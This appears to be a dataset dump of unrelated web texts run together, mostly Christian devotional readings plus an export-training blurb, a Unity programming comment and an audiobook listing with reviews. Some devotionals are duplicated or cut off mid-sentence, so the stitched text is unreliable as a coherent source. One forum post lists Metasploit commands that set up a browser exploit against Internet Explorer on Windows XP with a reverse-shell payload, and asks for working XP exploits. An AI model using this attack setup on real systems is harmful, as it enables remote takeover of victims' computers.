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Thank You For Not Squawking
On a recent flight, I was seated behind two small children who were not happy about being on a plane. Their cries of complaint filled the cabin.
On a recent flight, I was seated behind two small children who were not happy about being on a plane. Their cries of complaint filled the cabin.
Mary Ann believed in God and His Son Jesus, but she struggled with why Jesus had to shed His blood to bring salvation. Who would think of cleansing something with blood? Yet the Bible says, "The law requires that nearly everything be cleansed with blood" (Heb. 9:22). That, in Mary Ann's opinion, was disgusting!
Then one day she had to go to a hospital. A genetic condition had altered her immune system, and doctors became alarmed when the illness started attacking her blood. As she was in the emergency room she thought, If I lose my blood, I will die. But Jesus shed His blood so I can live!
Suddenly everything made sense. In the midst of her pain, Mary Ann felt joy and peace. She understood that blood is life, and a holy life was needed to make peace with God for us. Today she is alive and well, thanking God for her health and for Jesus' sacrifice on her behalf.
Hebrews 9 explains the meaning of the Old Testament blood ritual (vv. 16-22) and the once and for all offering of Jesus that brought animal sacrifice to an end (vv. 23-26). Bearing our sin, He willingly died and shed His blood to become our sacrifice. We now have confidence to enter God's presence. How could we ever thank Jesus enough for making His sacrifice our sacrifice, His life our life, and His Father our Father?
Fifty years ago A Charlie Brown Christmas was first broadcast on American television. Some network executives thought it would be ignored, while others worried that quoting the Bible would offend viewers. Some wanted its creator, Charles Schulz, to omit the Christmas story, but Schulz insisted it stay in. The program was an immediate success and has been rebroadcast every year since 1965.
When Charlie Brown, the frustrated director of the children's Christmas play, is discouraged by the commercial spirit of the holiday season, he asks if anyone can tell him the real meaning of Christmas. Linus recites Luke 2:8-14 including the words, "For unto you is born this day in the city of David a Saviour, which is Christ the Lord. And this shall be a sign unto you; Ye shall find the babe wrapped in swaddling clothes, lying in a manger. And suddenly there was with the angel a multitude of the heavenly host praising God, and saying, Glory to God in the highest, and on earth peace, good will toward men" (vv. 11-14 kjv). Then Linus says, "That's what Christmas is all about, Charlie Brown."
During this season filled with our own doubts and dreams, it's good to ponder afresh God's great love expressed in the familiar story of Joseph, Mary, the baby Jesus, and the angels who announced the Savior's birth.
That's what Christmas is all about.
I often find myself thinking back to the years when my children were young. One particular fond memory is our morning wake-up routine. Every morning I'd go into their bedrooms, tenderly call them by name, and tell them that it was time to get up and get ready for the day.
When I read that Abraham got up early in the morning to obey God's command, I think of those times when I woke up my children and wonder if part of Abraham's daily routine was going to Isaac's bed to waken him—and how different it would have been on that particular morning. How heart-rending for Abraham to waken his son that morning!
Abraham bound his son and laid him on an altar, but then God provided an alternate sacrifice. Hundreds of years later, God would supply another sacrifice—the final sacrifice—His own Son. Think of how agonizing it must have been for God to sacrifice His Son, His only Son whom He loved! And He went through all of that because He loves you.
If you wonder whether you are loved by God, wonder no more.
Homeless people in Vancouver, British Columbia, have a new way to find nighttime accommodations. A local charity, RainCity Housing, has created specialized benches that convert into temporary shelters. The back of the bench pulls up to create a roof that can shield a person from wind and rain. At night, these sleeping spaces are easy to find because they feature a glow-in-the-dark message that reads: THIS IS A BEDROOM.
The need for shelter can be physical, and it can be spiritual as well. God is a refuge for our souls when we are troubled. King David wrote, "I call as my heart grows faint; lead me to the rock that is higher than I" (Ps. 61:2). When we're emotionally overloaded, we are more vulnerable to the Enemy's tactics—fear, guilt, and lust are a few of his favorites. We need a source of stability and safety.
If we take refuge in God, we can have victory over the Enemy as he tries to influence our hearts and minds. "You have been my refuge, a strong tower against the foe," David said to the Lord. "I long to . . . take refuge in the shelter of your wings" (vv. 3-4).
When we are overwhelmed, peace and protection are ours through God's Son, Jesus Christ. "In me you may have peace," Jesus said. "In this world you will have trouble. But take heart! I have overcome the world" (John 16:33).
My father was critically injured when he took a bullet in the leg as a second lieutenant leading his men on Hill 609 in North Africa during World War II. Dad was never again 100 percent physically. I was born several years after this, and when I was young I didn't even know he had been wounded. I found out later when someone told me. Although he felt constant pain in his leg, my dad never complained about it, and he never used it as an excuse for not providing for our family.
My parents loved the Savior and raised us to love, trust, and serve Him. Through good times and bad, they simply trusted God, worked hard, and loved us unconditionally. Proverbs 14:26 says that "Whoever fears the Lord has a secure fortress, and for their children it will be a refuge" (niv). My dad did that for our family. No matter what difficulties he faced, he provided a safe place for us spiritually, emotionally, and physically.
We parents can provide a safe haven for our families with the help of our perfect heavenly Father, whose love for His children is deep and eternal.
The 12th-century Chinese artist Li Tang painted landscapes animated with people, birds, and water buffalo. Because of his genius with fine line sketches on silk, Li Tang is considered a master of Chinese landscape art. For centuries, artists from around the world have depicted what they see in God's art gallery of creation: "The heavens declare the glory of God; and the firmament shows His handiwork" (Ps. 19:1). The Bible tells us that our creativity as human beings comes from being made in the image of the Master Creator (Gen. 1:27).
God chose artists who worked with wood, gold, silver, bronze, and gems to create the furnishings, utensils, altars, and garments that were to be used when the ancient Israelites worshiped Him in the tabernacle (Ex. 31:1-11). These artistic renderings of spiritual realities prompted and guided the priests and the people in their worship of the Lord who had called them to be His people.
Through many types of artistic expression, we reflect the beauty of creation and honor the Creator and Redeemer of this marvelous world.
Poet Samuel Foss wrote, "Let me live by the side of the road and be a friend to man" ("The House by the Side of the Road"). That's what I want to be—a friend of people. I want to stand by the way, waiting for weary travelers. To look for those who have been battered and wronged by others, who carry the burden of a wounded and disillusioned heart. To nourish and refresh them with an encouraging word and send them on their way. I may not be able to "fix" them or their problems, but I can leave them with a blessing.
Melchizedek, both the king of Salem and a priest, blessed Abraham when he was returning weary from battle (Gen. 14). A "blessing" is more than a polite response to a sneeze. We bless others when we bring them to the One who is the source of blessing. Melchizedek blessed Abram, saying, "Blessed be Abram by God Most High, Creator of heaven and earth" (v. 19).
We can bless others by praying with them; we can take them with us to the throne of grace to find help in time of need. We may not be able change their circumstances, but we can show them God. That's what a true friend does. David Roper
Caleb was a "wholehearted" person. He and Joshua were part of a twelve-man reconnaissance team that explored the Promised Land and gave a report to Moses and the people. Caleb said, "We should go up and take possession of the land, for we can certainly do it" (Num. 13:30). But ten members of the team said they couldn't possibly succeed. In spite of God's promises, they saw only obstacles (Num. 13:31–33).
Ten men caused the people to lose heart and grumble against God, which led to forty years of wandering in the desert. But Caleb never quit. The Lord said, "Because my servant Caleb has a different spirit and follows me wholeheartedly, I will bring him into the land he went to, and his descendants will inherit it" (14:24). Forty-five years later God honored His promise when Caleb, at the age of 85, received the city of Hebron "because he followed the Lord, the God of Israel, wholeheartedly" (Josh. 14:14).
Centuries later an expert in the law asked Jesus, "Which is the greatest commandment in the Law?" Jesus replied, " 'Love the
Today Caleb is still inspiring us with his confidence in a God who deserves our wholehearted love, reliance, and commitment.
I enjoy gazing up at a cloudless blue sky. The sky is a beautiful part of our great Creator's masterpiece, given for us to enjoy. Imagine how much pilots must love the view. They use several aeronautical terms to describe a perfect sky for flying, but my favorite is, "You can see to tomorrow."
Actually, "seeing to tomorrow" is something even pilots cannot do. Sometimes we even struggle to see or understand what life is throwing at us today. The Bible tells us, "Why, you do not even know what will happen tomorrow. What is your life? You are a mist that appears for a little while and then vanishes" (James 4:14).
But our limited visibility is not cause for despair. Just the opposite. We trust in the God who sees all of our tomorrows perfectly—and who knows what we need as we face the challenges ahead. The apostle Paul knew this. That's why Paul encourages us with hopeful words, "We live by faith, not by sight" (2 Cor. 5:1-9).
When we trust God with our day as well as our unseen tomorrows, we don't need to worry about anything life throws at us. We walk with Him and He knows what is ahead; He is strong enough and wise enough to handle it.
"The body of Christ" is a mysterious phrase used more than 30 times in the New Testament. The apostle Paul especially settled on that phrase as an image of the church. After Jesus ascended to heaven, He turned over His mission to flawed and bumbling men and women. He assumed the role of head of the church, leaving the tasks of arms, legs, ears, eyes, and voice to the erratic disciples—and to you and me.
Jesus' decision to operate as the invisible head of a large body with many parts means that He often relies on us to help one another cope during times of suffering. The apostle Paul must have had something like that in mind when he wrote these words: "[God] comforts us in all our troubles, so that we can comfort those in any trouble with the comfort we ourselves receive from God. For just as we share abundantly in the sufferings of Christ, so also our comfort abounds through Christ" (2 Cor. 1:4-5). And all through his ministry Paul put that principle into practice, taking up collections for famine victims, dispatching assistants to go to troubled areas, acknowledging believers' gifts as gifts from God Himself.
The phrase "the body of Christ" expresses well what we are called to do: to represent in flesh what Christ is like, especially to those in need.
The world-class botanical garden across the street from our church was the setting for an all-church community gathering. As I walked around the gardens greeting people I have known for years, catching up with those I hadn't seen recently, and enjoying the beautiful surroundings cared for by people who know and love plants, I realized that the evening was rich with symbols of how the church is supposed to function—a little hint of heaven on earth.
A garden is a place where each plant is placed in an environment in which it will thrive. Gardeners prepare the soil, protect the plants from pests, and make sure each one receives the food, water, and sunlight it needs. The result is a beautiful, colorful, and fragrant place for people to enjoy.
Like a garden, church is meant to be a place where everyone works together for the glory of God and the good of all; a place where everyone flourishes because we are living in a safe environment; a place where people are cared for according to their needs; where each of us does work we love—work that benefits others (1 Cor. 14:26).
Like well-cared-for plants, people growing in a healthy environment have a sweet fragrance that draws people to God by displaying the beauty of His love. The church is not perfect, but it really is a hint of heaven.
Willie Myrick was kidnapped from his driveway when he was 9 years old. For hours, he traveled in a car with his kidnapper, not knowing what would happen to him. During that time, Willie decided to sing a song called Every Praise. As he repeatedly sang the words, his abductor spewed profanity and told him to shut up. Finally, the man stopped the car and let Willie out—unharmed.
When Marshall McLuhan coined the phrase "the medium is the message" in 1964, personal computers were unknown, mobile phones were science fiction, and the Internet didn't exist. Today we understand what great foresight he had in predicting how our thinking is influenced in this digital age. In Nicholas Carr's book The Shallows: What the Internet Is Doing to Our Brains, he writes, "[The media] supply the stuff of thought, but they also shape the process of thought. And what the Net seems to be doing is chipping away my capacity for concentration and contemplation. Whether I'm online or not, my mind now expects to take in information the way the Net distributes it: in a swiftly moving stream of particles."
I like J. B. Phillips's paraphrase of Paul's message to the Christians in Rome: "Don't let the world around you squeeze you into its own mold, but let God re-mold your minds from within, so that you may prove in practice that the plan of God for you is good, meets all his demands and moves towards the goal of true maturity" (Rom. 12:2). How relevant this is today as we find our thoughts and the way our minds process material affected by the world around us.
We cannot stem the tide of information that bombards us, but we can ask God each day to help us focus on Him and to shape our thinking through His presence in our lives.
An online survey conducted by a New York law firm reveals that 52 percent of Wall Street traders, brokers, investment bankers, and other financial service professionals have either engaged in illegal activity or believe they may need to do so in order to be successful. The survey concludes that these financial leaders "have lost their moral compass" and "accept corporate wrongdoing as a necessary evil."
Educator and best-selling author Tony Wagner is a firm believer in "disruptive innovation" that changes the way the world thinks and works. In his book Creating Innovators: The Making of Young People Who Will Change the World, he says, "Innovation occurs in every aspect of human endeavor," and "most people can become more creative and innovative—given the right environment and opportunities."
When Kathleen's teacher called her to the front of the grammar class to analyze a sentence, she panicked. As a recent transfer student, she hadn't learned that aspect of grammar. The class laughed derisively.
Instantly the teacher sprang to her defense. "She can out-write any of you any day of the week!" he explained. Many years later, Kathleen gratefully recalled the moment: "I started that day to try to write as well as he said I could." Eventually, Kathleen Parker would win a Pulitzer Prize for her writing.
As did Kathleen's teacher, Jesus identified with the defenseless and vulnerable. When His disciples kept children away from Him, He grew angry. "Let the little children come to me," He said, "and do not hinder them" (Mark 10:14). He reached out to a despised ethnic group, making the Good Samaritan the hero of His parable (Luke 10:25-37) and offering genuine hope to a searching Samaritan woman at Jacob's well (John 4:1-26). He protected and forgave a woman trapped in adultery (John 8:1-11). And though we were utterly helpless, Christ gave His life for all of us (Rom. 5:6).
When we defend the vulnerable and the marginalized, we give them a chance to realize their potential. We show them real love, and in a small but significant way we reflect the very heart of Jesus.
Reporter Jacob Riis's vivid descriptions of poverty in 19th-century New York City horrified a generally complacent public. His book How the Other Half Lives combined his writing with his own photographs to paint a picture so vivid that the public could not escape the certainty of poverty's desperate existence. The third of fifteen children himself, Riis wrote so effectively because he had lived in that world of terrible despair.
Shortly after the release of his book, he received a card from a young man just beginning his political career. The note read simply, "I have read your book, and I have come to help. Theodore Roosevelt." (This politician later became a US President.)
True faith responds to the needs of others, according to James (1:19-27). May our hearts be moved from inaction to action, from words alone to deeds that back them up. Compassionate action not only aids those mired in life's difficulties, but it may also make them open to the greater message from our Savior who sees their need and can do so much more for them.
When I hear stories about young people who have been bullied, I notice there are always at least two levels of hurt. The first and most obvious comes from the mean-spirited nature of those actually doing the bullying. That's terrible on its own. But there's another, deeper hurt that may end up being even more damaging than the first: The silence of everyone else.
It hurts the one being bullied because they're stunned that no one will help. That often makes bullies more brazen, leading them to intensify their meanness. Worse, it heightens the embarrassment, false shame, and loneliness of the victim. So it is imperative to speak up for others and speak out against the behavior (see Prov. 31:8a).
Jesus knows precisely what it feels like to be bullied and to be left to suffer completely alone. Without cause, He was arrested, beaten, and mocked (Luke 22:63-65). Matthew 26:56 says that "all the disciples forsook Him and fled." Peter, one of His closest friends, even denied three times that he knew Him (Luke 22:61). While others may not understand fully, Jesus does.
When we see others being hurt, we can ask Him for the courage to speak up.
In March 1974, Chinese farmers were digging a well when they made a surprising discovery: Buried under the dry ground of central China was the Terracotta Army—life-size terracotta sculptures that dated back to the third century
The apostle Paul wrote that followers of Christ have a treasure inside them that is to be shared with the world: "We now have this light shining in our hearts, but we ourselves are like fragile clay jars containing this great treasure (2 Cor. 4:7
This treasure is not to be hidden but is to be shared so that by God's love and grace people of every nation can be welcomed into His family. May we, through His Spirit's working, share that treasure with someone today.
Jacob Davis was a tailor with a problem. It was the height of the Gold Rush in the 1800s American West and the gold miners' work pants kept wearing out. His solution? Davis went to a local dry goods company owned by Levi Strauss, purchased tent cloth, and made work pants from that heavy, sturdy material—and blue jeans were born. Today, denim jeans in a variety of forms (including Levi's) are among the most popular clothing items in the world, and all because tent material was given a new purpose.
Simon and his friends were fishermen on the Sea of Galilee. Then Jesus arrived and called them to follow Him. He gave them a new purpose. No longer would they fish for fish. As Jesus told them, "Come, follow me, . . . and I will send you out to fish for people" (Mark 1:17).
With this new purpose set for their lives, these men were taught and trained by Jesus so that, after His ascension, they could be used by God to capture the hearts of people with the message of the cross and resurrection of Christ. Today, we follow in their steps as we share the good news of Christ's love and salvation.
May our lives both declare and exhibit this love that can change the lives, purposes, and eternal destinies of others.
When I served as an intern for a Christian magazine, I wrote a story about a person who had become a Christian. In a dramatic change, he said goodbye to his former life and embraced his new Master: Jesus. A few days after the magazine hit the street, an anonymous caller threatened, "Be careful, Darmani. We are watching you! Your life is in danger in this country if you write such stories."
That was not the only time I have been threatened for pointing people to Christ. On one occasion a man told me to vanish with the tract I was giving him or else! In both cases, I cowered. But these were only verbal threats. Many Christians have had threats carried out against them. In some cases simply living a godly lifestyle attracts mistreatment from people.
The Lord told Jeremiah, "You must go to everyone I send you to and say whatever I command you" (Jer. 1:7), and Jesus told His disciples, "I am sending you out like sheep among wolves" (Matt. 10:16). Yes, we may encounter threats, hardships, and even pain. But God assures us of His presence. "I am with you," He told Jeremiah (Jer. 1:8), and Jesus assured His followers, "I am with you always" (Matt. 28:20).
Whatever struggles we face in our attempt to live for the Lord, we can trust in the Lord's presence.
Unsettled by issues at work and at home, Matt decided to take a walk. The evening spring air beckoned. As the infinite sky deepened from blue to black, a thickening fog spilled slowly over the marsh. Stars began to glimmer, heralding the full moon rising in the east. The moment, for Matt, was deeply spiritual. He's there, he thought. God is there, and He's got this.
Some people look at the night sky and see nothing but nature. Others see a god as distant and cold as Jupiter. But the same God who "sits enthroned above the circle of the earth" also "brings out the starry host one by one and calls forth each of them by name" (Isa. 40:22,26). He knows His creation intimately.
It is this personal God who asked His people, "Why do you say, Israel, 'My way is hidden from the Lord; my cause is disregarded by my God'?" Aching for them, God reminded them of the wisdom in seeking Him. "Do you not know? Have you not heard? . . . He gives strength to the weary and increases the power of the weak" (vv. 27-29).
We are easily tempted to forget God. Our problems won't disappear with an evening stroll, but we can find rest and certainty that God is always working toward His good purposes. "I'm here," He says. "I've got you."
Careless driving, rising tempers, and use of foul language among some taxi and minibus drivers are a constant source of traffic fights in our city of Accra, Ghana. But one traffic incident I witnessed took a different turn. A bus was almost hit by a careless taxi driver. I expected the bus driver to get angry and yell at the taxi driver, but he didn't. Instead, the bus driver relaxed his stern face and smiled broadly at the guilty-looking taxi driver. And the smile worked wonders. With a raised hand, the taxi driver apologized, smiled back, and moved away, the tension diffused.
A smile has a fascinating effect on our brain chemistry. Researchers have found that "when we smile it releases brain chemicals called endorphins which have an actual physiological relaxing effect." Not only can a smile diffuse a tense situation, but it can also diffuse tension within us. Our emotions affect us as well as others. The Bible teaches us to "get rid of all bitterness, rage and anger, brawling and slander, along with every form of malice. Be kind and compassionate to one another" (Eph. 4:31-32).
When anger or tension or bitterness threatens our relationship with the Lord and with others, it helps to remember that "a cheerful heart is good medicine" for our own joy and well-being.
Nearly every time an angel appears in the Bible, the first words he says are "Do not be afraid!" (Dan. 10:12, 19; Matt. 28:5; Rev. 1:17). Little wonder. When the supernatural makes contact with planet Earth, it usually leaves the human observers flat on their faces in catatonic fear. But Luke tells of God making an appearance on earth in a form that does not frighten. In Jesus, born in a barn and laid in a feeding trough, God finds at last a mode of approach that we need not fear. What could be less scary than a newborn baby?
Puzzled skeptics stalked Jesus throughout His ministry. How could a baby in Bethlehem, a carpenter's son, be the Messiah from God? But a group of shepherds in a field had no doubt about who He was, for they heard the message of good news straight from a choir of angels (2:8-14).
Why did God take on human form? The Bible gives many reasons, some densely theological and some quite practical; but the scene of Jesus as an adolescent lecturing rabbis in the temple gives one clue (v. 46). For the first time, ordinary people could hold a conversation, a debate, with God in visible form. Jesus could talk to anyone—His parents, a rabbi, a poor widow—without first having to announce, "Don't be afraid!"
In Jesus, God comes close to us.
When our children were small, I often prayed with them after we tucked them into bed. But before I prayed, I sometimes would sit on the edge of the bed and talk with them. I remember telling our daughter Libby, "If I could line up all the 4-year-old girls in the world, I would walk down the line looking for you. After going through the entire line, I would choose you to be my daughter." That always put a big smile on Libby's face because she knew she was special.
It was her yellow raincoat that caught my attention, and quickly I became increasingly interested in this cute freshman with long, brown hair. Soon I worked up my courage, interrupted Sue as she walked along reading a letter from a guy back home, and awkwardly asked her for a date. To my surprise, she said yes.
Early in the day, a London commuter shoved and insulted a business manager who got in his way. That afternoon, the business manager sent a quick Twitter message to his friends: "Guess who just showed up for a job interview?" When his explanation appeared on the Internet, people all over the world winced and smiled. Imagine walking into a job interview only to discover that the person who greets you is the one you had shoved and sworn at earlier that day.
Saul also ran into someone he never expected to see. While raging against a group called The Way (Acts 9:1-2), he was stopped in his tracks by a blinding light. Then a voice, "Saul, Saul, why are you persecuting me?" (v. 4). Saul asked, "Who are you, Lord?" the One speaking to him said, "I am Jesus, whom you are persecuting" (26:15).
Years earlier Jesus had said that how we treat the hungry, the thirsty, the stranger, and the prisoner reflects our relationship to Him (Matt 25:35-36). Who would have dreamed that when someone insults us, or when we help or hurt another, the One who loves us takes it personally?
An old Merle Haggard song, "If We Make It Through December," tells the story of a man laid off from his factory job with no money to buy Christmas gifts for his little girl. Although December is supposed to be a happy time of year, his life seems dark and cold.
Discouragement is not unique to December, but it can be amplified then. Our expectations may be higher, our sadness deeper. A little encouragement can go a long way.
Joseph, a man from Cyprus, was among the early followers of Jesus. The apostles called him Barnabas, which means "son of encouragement." We meet him in Acts 4:36–37 when he sold a piece of property and donated the money to help other believers in need.
Later, we read that the disciples were afraid of Saul (Acts 9:26). "But Barnabas took him and brought him to the apostles" (v. 27). Saul had recently been trying to kill the believers, but Barnabas defended him as a man transformed by Christ.
All around us are people longing to be encouraged. A timely word, a phone call, or a prayer with them can bolster their faith in Jesus.
The generosity and support of Barnabas demonstrates what it means to be a son or daughter of encouragement. That may be the greatest gift we can give to others this Christmas.
On the last day of the US Civil War, officer Joshua Chamberlain was in command of the Union army. His soldiers lined up on both sides of the road that the Confederate army had to march down in surrender. One wrong word or one belligerent act and the longed-for peace could be turned to slaughter. In an act as brilliant as it was moving, Chamberlain ordered his troops to salute their foe! No taunting here, no vicious words—only guns in salute and swords raised to honor.
When Jesus offered His words about forgiveness in Luke 6, He was helping us understand the difference between people of grace and people without grace. Those who know His forgiveness are to be strikingly unlike everyone else. We must do what others think impossible: Forgive and love our enemies. Jesus said, "Be merciful, just as your Father in heaven is merciful" (v. 36).
Imagine the impact in our workplaces and on our families if we embrace this principle. If a salute can make armies whole again, what power there must be in Christ's grace reflected through us! Scripture gives evidence of this: in Esau's embrace of his deceitful brother (Gen. 33:4), in Zacchaeus's joyful penance (Luke 19:1-10), and in the picture of a father racing to greet his prodigal son (Luke 15).
With the grace of Christ, may we let this be the final day of bitterness and dispute between our enemies and us.
After owning and working at his dental lab for 50 years, Dave Bowman planned to retire and take it easy. Diabetes and heart surgery confirmed his decision. But when he heard about a group of young refugees from Sudan who needed help, he made a life-changing decision. He agreed to sponsor five of them.
As Dave learned more about these young Sudanese men, he discovered that they had never been to a doctor or a dentist. Then one day in church someone mentioned the verse, "If one part suffers, every part suffers with it" (1 Cor. 12:26). He couldn't get the verse out of his mind. Sudanese Christians were suffering because they needed medical care, and Dave sensed that God was telling him to do something about it. But what?
Despite his age and bad health, Dave began exploring the possibility of building a medical center in Sudan. Little by little, God brought together the people and the resources, and in 2008 Memorial Christian Hospital opened its doors to patients. Since then, hundreds of sick and injured people have been treated there.
Memorial Christian Hospital stands as a reminder that God cares when people suffer. And often He works through people like us to share His care—even when we think our work is done.
For three consecutive years, my son participated in a piano recital. The last year he played, I watched him mount the steps and set up his music. He played two songs and then sat down next to me and whispered, "Mom, this year the piano was smaller." I said, "No, it's the same piano you played last year. You're bigger! You've grown."
Spiritual growth, like physical growth, often happens slowly over time. It is an ongoing process that involves becoming more like Jesus, and it happens as we are transformed through the renewing of our minds (Rom. 12:2).
When the Holy Spirit is at work in us, we may become aware of sin in our lives. Wanting to honor God, we make an effort to change. Sometimes we experience success, but at other times, we try and fail. If it seems like nothing changes, we get discouraged. We may equate failure with a lack of progress, when it's often proof that we are in the middle of the process.
Spiritual growth involves the Holy Spirit, our willingness to change, and time. At certain points in our lives, we may look back and see that we have grown spiritually. May God give us the faith to continue to believe that "He who began a good work in [us] will carry it on to completion until the day of Christ Jesus" (Phil. 1:6).
Last winter while visiting a natural history museum in Colorado, I learned some remarkable facts about the aspen tree. An entire grove of slender, white-trunked aspens can grow from a single seed and share the same root system. These root systems can exist for thousands of years whether or not they produce trees. They sleep underground, waiting for fire, flood, or avalanche to clear a space for them in the shady forest. After a natural disaster has cleared the land, aspen roots can sense the sun at last. The roots send up saplings, which become trees.
For aspens, new growth is made possible by the devastation of a natural disaster. James writes that our growth in faith is also made possible by difficulties. "Consider it pure joy," he writes, "whenever you face trials of many kinds, because you know that the testing of your faith produces perseverance. Let perseverance finish its work so that you may be mature and complete, not lacking anything" (James 1:2–4).
It's difficult to be joyful during trials, but we can take hope from the fact that God will use difficult circumstances to help us reach maturity. Like aspen trees, faith can grow in times of trial when difficulty clears space in our hearts for the light of God to touch us.
Our son and daughter-in-law had an emergency. Our grandson Cameron was suffering from pneumonia and bronchitis and needed to go to the hospital. They asked if we could pick up their five-year-old son, Nathan, from school and take him home. Marlene and I were glad to do so.
When Nathan got in the car, Marlene asked, "Are you surprised that we came to get you today?" He responded, "No!" When we asked why not, he replied, "Because I know everything!"
A five-year-old can claim to know everything, but those of us who are a bit older know better. We often have more questions than answers. We wonder about the whys, whens, and hows of life—often forgetting that though we do not know everything, we know the God who does.
Psalm 139:1 and 3 speak of our all-knowing God's all-encompassing, intimate understanding of us. David says, "You have searched me,
Our knowledge will always be limited, but knowing God is what matters most. We can trust Him.
At a friend's bedside in a hospital emergency ward, I was moved by the sounds of suffering I heard from other patients in pain. As I prayed for my friend and for the ailing patients, I realized anew how fleeting our life on earth is. Then I recalled an old country song by Jim Reeves that talks about how the world is not home for us—we're "just a-passin' through."
Our world is full of weariness, pain, hunger, debt, poverty, disease, and death. Because we must pass through such a world, Jesus' invitation is welcome and timely: "Come to me, all you who are weary and burdened, and I will give you rest" (Matt. 11:28). We need this rest.
There is hardly a funeral ceremony I've attended where John's vision of "a new heaven and a new earth" (Rev. 21:1-5) is not quoted, and it certainly holds relevance for funerals.
But I believe the passage is more for the living than the dead. The time to heed Jesus' invitation to come rest in Him is while we are still living. Only then can we be entitled to the promises in Revelation. God will dwell among us (v. 3). He will wipe away our tears (v. 4). There will be "no more death or mourning or crying or pain" (v. 4).
Accept Jesus' invitation and enter His rest!
The first words that many people like to quote when misfortune hits are: "We know that all things work together for good to those who love God, to those who are the called according to His purpose" (Rom. 8:28). But that's hard to believe in hard times. I once sat with a man who had lost his third son in a row, and I listened as he lamented, "How can this tragedy work for my good?" I had no answer but to sit silently and mourn with him. Several months later, he was thankful as he said, "My sorrow is drawing me closer to God."
Tough as Romans 8:28 may be to understand, countless testimonies give credence to the truth of it. The story of hymn writer Fanny Crosby is a classic example. The world is the beneficiary of her memorable hymns, yet what worked together for good was born out of her personal tragedy, for she became blind at the age of 5. At only age 8, she began to write poetry and hymns. Writing over 8,000 sacred songs and hymns, she blessed the world with such popular songs as "Blessed Assurance," "Safe in the Arms of Jesus," and "Pass Me Not, O Gentle Savior." God used her difficulty to bring good for her and us and glory for Him.
When tragedy befalls us, it's hard to understand how anything good can come from it, and we won't always see it in this life. But God has good purposes and always remains with us.
Roger had been through a lot. He had open-heart surgery to repair a leaky valve. Then, within just a couple of weeks, doctors had to perform the surgery again because of complications. He had just begun to heal with physical therapy when he had a biking accident and broke his collarbone. Added to this, Roger also experienced the heartbreak of losing his mother during this time. He became very discouraged. When a friend asked him if he had seen God at work in any small ways, he confessed that he really didn't feel he had.
I appreciate Roger's honesty. Feelings of discouragement or doubt are part of my life too. In Romans, the apostle Paul says, "We can rejoice . . . when we run into problems and trials, for we know that they help us develop endurance. And endurance develops strength of character, and character strengthens our confident hope of salvation" (5:3-4 nlt). But that doesn't mean we always feel the joy. We may just need someone to sit down and listen to us pour out our hearts to them, and to talk with God. Sometimes it takes looking back on the situation before we see how our faith has grown during trials and doubts.
Knowing that God wants to use our difficulties to strengthen our faith can help us to trust His good heart for us.


text:
Skip to Content
Export University is an in-person training program administered by the District Export Councils, in partnership with the U.S. Commercial Service, and taught by industry professionals, for companies interested in exporting.
Increase and diversify your company's international sales and gaining knowledge in a wide-variety of issues related to exporting, including market research, export controls, financing, logistics, and marketing.
Export University is a training program designed to help American companies begin an export initiative and gain new skills that will help them to expand their international sales. Courses are designed in three levels to provide new or experienced exporters with the tools they need to effectively organize their export operations.
Eligibility: All U.S. businesses
Learn More: http://www.exportuniversity.com/
Tags: Connect to foreign buyers, Marketing, Regulations, Sales, Training or Mentoring, Pre-Startup, Startup, Established, Thinking About, Begin Exporting, No Employees, Small/Medium (1-500 employees), Large (500+ employees)
Click here to suggest additional keyword tags

subset: commoncrawl


text:
problem with use MSF
i'm test more exploit but not sucss I'don't wht problem
look this example
use windows/browser/ani_loadimage_chunksize
set SRVHOST myip
set SRVPORT 8000
set URIPATH nono
set payload windows/shell_reverse_tcp
set LHOST ip victim
[*] Started reverse handler[*] Using URL: http://ip:8000/nono[*] Server started.
after i'm test this on OS xp sp and IE 7 ,IE 6
after tell me [*] Sending HTML page to ip:6668...[*] Sending ANI file to ip:6668...
i'm wating but nothing happen
>> sessions -l
Active sessions===============No active sessions.
what problem >>>???
any idea?
and can any one give me some exploit working on xp sp2 and sp3


text:
i believe unity uses a modified version of java for programming so while it would be similar to java it does have its differences
Just to repeat the clarification SimonForsman posted above, UnityScript is very similar to JavaScript, not Java. Other than the similar name the two languages are pretty much completely unrelated. Unfortunately the similarity of the names causes a lot of confusion, so it's important to note the difference.


text:
The "Fox Mole" - whose dispatches for Gawker made headlines in Businessweek, The Hollywood Reporter, and even on The New York Times website - delivers a funny, opinionated memoir of his eight years at the unfair, unbalanced Fox News Channel working as an associate producer for Bill O'Reilly.
Imagine needing to hide your true beliefs just to keep a job you hated. Now imagine your job was producing the biggest show on the biggest cable news channel in America, and you'll get a sense of what life was like for Joe Muto. As a self-professed bleeding-heart, godless liberal, Joe's viewpoints clearly didn't mesh with his employer - especially his direct supervisor, Bill O'Reilly.
So he did what any ambitious, career-driven person would do. He destroyed his career, spectacularly. He became Gawker's so-called Fox Mole.
Joe's posts on Gawker garnered more than 2.5 million hits in one week. He released footage and information that Fox News never wanted exposed, including some extremely unflattering footage of Mitt Romney. The dragnet closed around him quickly - he was fired within 36 hours - so his best material never made it online. Unfortunate for his career as the Fox Mole, but a treasure trove for book listeners.
An Atheist in the FOXhole has everything that liberals and Fox haters could desire: details about how Fox's right-wing ideology is promoted throughout the channel; why specific angles and personalities are the only ones broadcasted; the bizarre stories Fox anchors actually believed (and passed on to the public); and tales of behind-the-scenes mayhem and mistakes, all part of reporting Fox's version of the news.
©2013 Joe Muto (P)2013 Penguin Audio
There are no listener reviews for this title yet.
"Entertaining but not hard hitting"
entertaining, interesting, funny
I say this as a definite Fox-hater and as a progressive: Joe Muto is kind of a prick.The book IS entertaining - the most interesting parts are learning about the working mechanisms of Fox News. It was fascinating to hear how low-budget the whole operation is, as well as the thought processes behind Fox's program development.But Muto himself comes across very smug, ingratiating, and immature. He has to remind the reader constantly about his true liberal feelings the whole time - we get it. He pretends to have been doing his own "small part" to influence the network, I guess to justify his working there, but all his actions (including the Gawker mole business) are petty - sarcastic jabs and pranks. And what did his sex life with his apparently crazy girlfriend have to do with being a "liberal in the Foxhole?" The integration of his persona into the memoir smacked of self-applause and opportunism undeserved of someone who obviously took his former employer's opportunism to heart - garnering himself notoriety and a book deal with minimal journalistic payoff.That being said, it's still an engrossing, lighthearted read and, you know, a good jab at O'Reilly and Fox inanity. Just take Muto with grain of salt and don't expect it to be an expose.
I missed the "Mole" story when it broke in 2012, so I was coming to this completely fresh. I'm glad I did. Joe Muto's thoughts in retrospect make a much better story than it did while it was unfolding. This is often true for newsworthy events. I found the story funny, laughing out loud to my radio many times throughout the book.
Muto's narration works well with the book. I wouldn't have wanted to trade professionalism for his personality.
"Good, not great."
Yes. Interesting tidbits about the news making process in general, and fox news in specific.
